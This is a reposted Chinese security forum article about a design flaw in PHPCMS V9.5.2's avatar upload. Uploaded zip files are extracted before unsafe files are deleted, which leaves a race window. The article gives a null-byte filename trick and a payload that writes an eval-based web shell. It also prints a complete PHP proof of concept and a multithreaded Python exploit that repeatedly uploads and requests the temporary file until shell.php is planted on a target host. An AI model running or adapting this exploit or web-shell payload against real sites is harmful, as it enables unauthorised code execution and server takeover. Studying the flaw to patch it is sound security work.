PHPCMS前台设计缺陷导致任意代码执行【思路详情】

2014-04-25 17:56:36 22 2568
作者在t00ls发过,地址是:https://www.t00ls.net/thread-25658-1-1.html,但是只是Exp;乌云这有个完整版,转来给大家看看。

我们要学习的不仅是技术,还有思路。


利用这个设计缺陷可导致任意代码/命令执行,当然可Getshell.

但PHPCMS代码执行不是这篇文章的主题,今天的主题是:
主题一:给大家介绍一种通用的设计缺陷,希望能引起各个厂商重视,以及由此衍生出来的一种比较新颖的漏洞利用方法,此设计缺陷目前我已在多个CMS上证明.
主题二:我想说的是当我们有任何奇思妙想的时候,哪怕这个想法"不切实际"、"不可能",只要我们想方设法去实践,就会有意想不到的效果,这个漏洞就是证明.


#1 前言

猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都完完了…

#2 叼着炸药包的猛兽来了

请先看下面这段代码
<?php
if(isset($_GET['src'])){
        copy($_GET['src'],$_GET['dst']);
        //...
        unlink($_GET['dst']);
        //...
}
?>
这段代码实际意义不大,不过,没关系我们重在研究嘛,一种典型的”将猛兽放进室内,才杀之”的案例,我们来看看
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst']-->此炸药包非彼炸药包,此炸药包的作用是生成恶意文件 :-)
上述代码即存在本文所讲的设计缺陷
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,后面的unlink($_GET['dst']);将之删除...

但是,各位厂商们 你们可曾想到这个木马可能在你们删除之前,生成了新的木马文件,结果可想而知,SO... 还请在设计产品时多考虑考虑....

#3 PHPCMS案例

PHPCMS相应的设计缺陷在上传头像的功能处,我们来看看其代码

/phpsso_server/phpcms/modules/phpsso/index.php 第572行开始 uploadavatar()函数
public function uploadavatar() {
               
                //根据用户id创建文件夹
                if(isset($this->data['uid']) && isset($this->data['avatardata'])) {
                        $this->uid = $this->data['uid'];
                        $this->avatardata = $this->data['avatardata'];
                } else {
                        exit('0');
                }
               
                $dir1 = ceil($this->uid / 10000);
                $dir2 = ceil($this->uid % 10000 / 1000);
               
                //创建图片存储文件夹
                $avatarfile = pc_base::load_config('system', 'upload_path').'avatar/';
                $dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';
                if(!file_exists($dir)) {
                        mkdir($dir, 0777, true);
                }
                //存储flashpost图片
                $filename = $dir.$this->uid.'.zip';
                file_put_contents($filename, $this->avatardata);
               
                pc_base::load_sys_func('dir');
                //解压缩文件
                pc_base::load_app_class('pclzip', 'phpsso', 0);
                $archive = new PclZip($filename);
                $archive->allow_ext = array('jpg');
                $list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);
               
                //判断文件安全,删除压缩包和非jpg图片
                $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
                $files = glob($dir."*");
                foreach($files as $_files) {
                        if(is_dir($_files)) dir_delete($_files);
                        if(!in_array(basename($_files), $avatararr)) @unlink($_files);
                }
                if($handle = opendir($dir)) {
                    while(false !== ($file = readdir($handle))) {
                                if($file !== '.' && $file !== '..') {
                                        if(!in_array($file, $avatararr)) {
                                                @unlink($dir.$file);
                                        } else {
                                                $info = @getimagesize($dir.$file);
                                                if(!$info || $info[2] !=2) {
                                                        @unlink($dir.$file);
                                                }
                                        }
                                }
                    }
                    closedir($handle);   
                }
                $this->db->update(array('avatar'=>1), array('uid'=>$this->uid));
                exit('1');
}
大概意思是解压ZIP文件,再删除非jpg文件,目录等(看见了吧,产生了#2所述的设计缺陷,典型的引狼入室,再杀之的设计理念),但由于在此处出现过上传漏洞,增加了这么一行代码:
$archive->allow_ext = array('jpg');
只允许jpg格式文件,不允许php后缀的文件,这为我们下面的漏洞利用带来了不少的麻烦,但别急,后面我会讲到突破的方法...

#4 突破限制产生php临时文件

虽然代码限制了只能是jpg格式的文件,但我们的文件名可以是1.php.php.jpg 对吧,

想到什么没有呢?对!采用文件名截断...行动吧

(为了方便调试,我们加入如下代码,即在解压zip文件后,删除非jpg文件前中断代码的执行)
$archive = new PclZip($filename);
exit('zanting....');//我们添加的调试代码
$archive->allow_ext = array('jpg');
$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);
结果,成功在目录下生成了1.php文件





#5 漏洞利用poc

只要有php文件生成那就好办了,poc构想如下:

正常情况:

上传头像-->生成临时文件(1.php)-->删除非jpg文件

我们想要的情况:

上传头像-->生成临时文件(1.php)-->1.php在上层目录生成shell.php文件-->删除1.php等非jpg文件,留下shell.php文件-->成功

1.php.php.jpg文件的内容为:
<?php fputs(fopen('../../../../shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
同时用数字填充,大小为1 2M左右,同时打包为ZIP包,如图:



当然为了能顺利的利用,手工是不行的,程序的执行多快啊 是吧...

于是我们利用PHP写出POC,打开至少15个CMD窗口跑起来,模仿多线程嘛,哈哈...

我相信不一会就会在上层目录生成我们想要的shell.php文件,POC如下 这里就不演示了...
<?php
/**
* Created by felixk3y
* Date: 14-01-10
* Name: PHPCMS V9.5.2 Arbitrary File Upload Exploit...
* Blog: [url]http://weibo.com/rootsafe[/url]
*/
error_reporting(7);
if($argc<2){
        print "\n\tUsage:exp.php [url]www.vulns.org[/url]\n";
        exit();
}
$num = 0;
$loop = 0;
$host = $argv[1];
$posts = post();
$shell = "/phpcms/phpsso_server/uploadfile/shell.php";//生成shell的地址
$tmpfile = "/phpcms/phpsso_server/uploadfile/avatar/1/1/1/1.php";//临时的php文件,后面会被删除
//先访问临时数据包
while(++$loop<6){
         echo "正在进行第".$loop."轮尝试...\n";
         while(++$num<11){
                 echo "正在进行第".$num."次尝试访问临时文件...\n";
                _get($host,$tmpfile);
         }
         $num = 0;
         while(++$num<51){
                echo "正在进行第".$num."次提交ZIP数据包同时试访问临时文件...\n";
                send_http($host,$posts);//正常提交数据包
                //if($num%2==0){
                        _get($host,$tmpfile);
                //}
         }
         $num = 0;
         while(++$num<11){
                 echo "正在进行第".$num."次尝试访问临时文件...\n";
                _get($host,$tmpfile);
         }
         $num = 0;
}
$res = _get($host,$shell);
if(preg_match('/200 OK/',$res)) {
        echo "--->Success!\n\n";
}else{
        echo "------->Failed!\n\n";
}
function post(){
         $asc = hex2asc("00");//目的是截断1.php.php.jpg为1.php
         $repstr = "php".$asc."php";
         $data = "";
         $fp = fopen('phpcms.zip','r');//phpcms.zip要上传的数据包
         while(!feof($fp)){
                $data .=fgets($fp);
         }
         $data = preg_replace('/php\.php/i',$repstr,$data);
         return $data;
}
function hex2asc($str){//进制间转换
        $str = join('',explode('\x',$str));
        $len = strlen($str);
        for($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
        return $data;
}
function _get($host,$path){ //http get方法
        $headers  = "GET $path HTTP/1.1\r\n";
        $headers .= "Host: ".$host."\r\n";
        $headers .= "Connection: close\r\n\r\n";
    $fp = @fsockopen($host,80);
    fputs($fp, $headers);
        $resp = '';
        while (!feof($fp)){
                $resp .= fgets($fp, 2048);
        }
    return $resp;
}
function send_http($host,$post)
{
    $data = "POST /phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=f58eCAZVBQJSVAkJA1sCWQpRAFBQVVEBDlYEAgQRWQUOVx9IRTpURxYMZlJWGgoJfmZiDUZXKm5PcjcTbgBfNgoAW0hwFAFqFC9bemJacg HTTP/1.1\r\n";
    $data .= "Host: [url]www.vulns.org[/url]\r\n";
    $data .= "User-Agent: Googlebot/2.1 (+[url]http://www.google.com/bot.html[/url])\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Accept-Encoding: gzip, deflate\r\n";
    $data .= "Connection: keep-alive\r\n";
    $data .= "Content-Length: " . strlen($post) . "\r\n\r\n";
    $data .= $post . "\r\n";
    //echo $data;
    $fp = @fsockopen($host,80,$errno,$errstr,30);
    if(!$fp){
        echo $errno.'-->'.$errstr."\n";
        exit('Could not connect to: '.$host);
    }else{
        fputs($fp, $data);
        $back = '';
        while(!feof($fp)){
            $back .= fgets($fp, 2048);
        }
        fclose($fp);
    }
    return $back;
}
?>
#6 Exp利用代码

为了方便利用,最后我用py写了最终的EXP,代码如下
#coding=GB2312
#Date: 2014-01-11 23:50
#Created by felixk3y
#Name: PHPCMS <=V9.5.2 Arbitrary File Upload Exploit...
#Blog: [url]http://weibo.com/rootsafe[/url]

import os
import sys
import socket
import urllib
import urllib2
import threading
import msvcrt

# postu: 文件上传post的URL
# shell: 最终生成shell的URL
# tmpfile: 文件上传生成的临时文件URL
# postu & shell & tmpfile 这三个参数根据具体情况更改
postu   = '/install_package/phpsso_server/index.php'
shell   = '/install_package/phpsso_server/uploadfile/shell.php'
tmpfile = '/install_package/phpsso_server/uploadfile/avatar/1/1/1/1.php'

class upload(threading.Thread):
    def __init__(self,num,loop,host,header,tmpfile,shell):
        threading.Thread.__init__(self)
        self.num     = num
        self.loop    = loop
        self.host    = host
        self.header  = header
        self.shell   = '%s%s' % (host,shell)
        self.tmpfile = '%s%s' % (host,tmpfile)
        
    def run(self):
        while True:
            print '正在进行第%d轮尝试...\n' % self.loop
            while(self.num<3):
                print '正在进行第%d次尝试访问临时文件...' % self.num
                self._get(self.tmpfile)
                self.num += 1
            self.num = 1
            while(self.num<11):
                print '正在进行第%d次提交ZIP数据包同时试访问临时文件...' % self.num
                self.send_socket(self.host,self.header)
                self._get(self.tmpfile)
                self.num += 1
            self.num = 1
            while(self.num<11):
                print '正在进行第%d次尝试访问临时文件...' % self.num
                self._get(self.tmpfile)
                self.num += 1
            self.loop += 1
            self.num = 1

    def _get(self,tmpfile):
        try:
            response = urllib2.urlopen(tmpfile)
            if response.getcode() == 200:
                print '\nSuccess!\nShell: %s\nPass is [1@3].' % self.shell
                os._exit(1)
        except urllib2.HTTPError,e:
            pass
            
    def send_socket(self,host,headers):
        if 'http://' in host:
            host = host.split('/')[2]
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, 80))
        sock.send(headers)
        sock.close()
        

class ThreadStop(threading.Thread):
    def run(self):
        try:           
            chr = msvcrt.getch()
            if chr == 'q':
                print "stopped by your action( q )."
                os._exit(1)
        except:
            os._exit(1)
            
def usage():
    print '\n\tUsage: upload.py <url>      '
    print '\n\tExp: upload.py [url]www.vulns.org[/url]'
    os._exit(0)

def hex_to_asc(ch):
    ch = int(float.fromhex(ch))
    return '{:c}'.format(ch)

def post_data():
    postdata = ''
    asc = hex_to_asc('00')
    repstr = 'php%sphp' % asc
    fps = open('phpcms.zip','rb')
    for sbin in fps.readlines():
        postdata += sbin
    postdata = postdata.replace('php.php',repstr)
    return postdata

def exploit():
    num     = 1
    loop    = 1
    threads = []
    host   = sys.argv[1]
    cookie = sys.argv[2]
    if 'http://' not in host:
        host = 'http://%s' % host
   
    postdata = post_data()
    mhost = host.split('/')[2]
   
    dvalue  = '3f84AABWUlIDVAFSUwRTVA9QVwRRUAFXAFcLUFNMWgYKAENAQzkDF0cMbgkGTlsAXQdlJQIJCEVqAE5mMUhUJ28FJHV8ABcgXCN5NS5ZNQ'
    params  = 'm=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=%s' % dvalue
    posturl = '%s?%s' % (postu,params)
    header  = 'POST %s HTTP/1.1\r\n' % posturl
    header += 'Host: %s\r\n' % mhost
    header += 'User-Agent: Googlebot/2.1 (+[url]http://www.google.com/bot.html[/url])\r\n'
    header += 'Content-Type: application/octet-stream\r\n'
    header += 'Accept-Encoding: gzip,deflate,sdch\r\n'
    header += 'Content-Length: %d\r\n' % len(postdata)
    header += 'Cookie: %s\r\n\r\n%s\r\n' % (cookie,postdata)
   
    shouhu = ThreadStop()
    shouhu.setDaemon(True)
    shouhu.start()
   
    for i in range(10):#线程数不能小了
        t = upload(num,loop,host,header,tmpfile,shell)
        t.start()
        threads.append(t)
    for th in threads:
        t.join()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
    else:
        exploit()
#7 Exp跑起来
phpcms_exp.py www.vulns.org cookie值
效果如下所示



关于作者

godblack460篇文章1138篇回复

一个高尚的人,一个纯粹的人,一个有道德的人,一个脱离了低级趣味的人,一个有益于人民的人。

评论22次

要评论?请先  登录  或  注册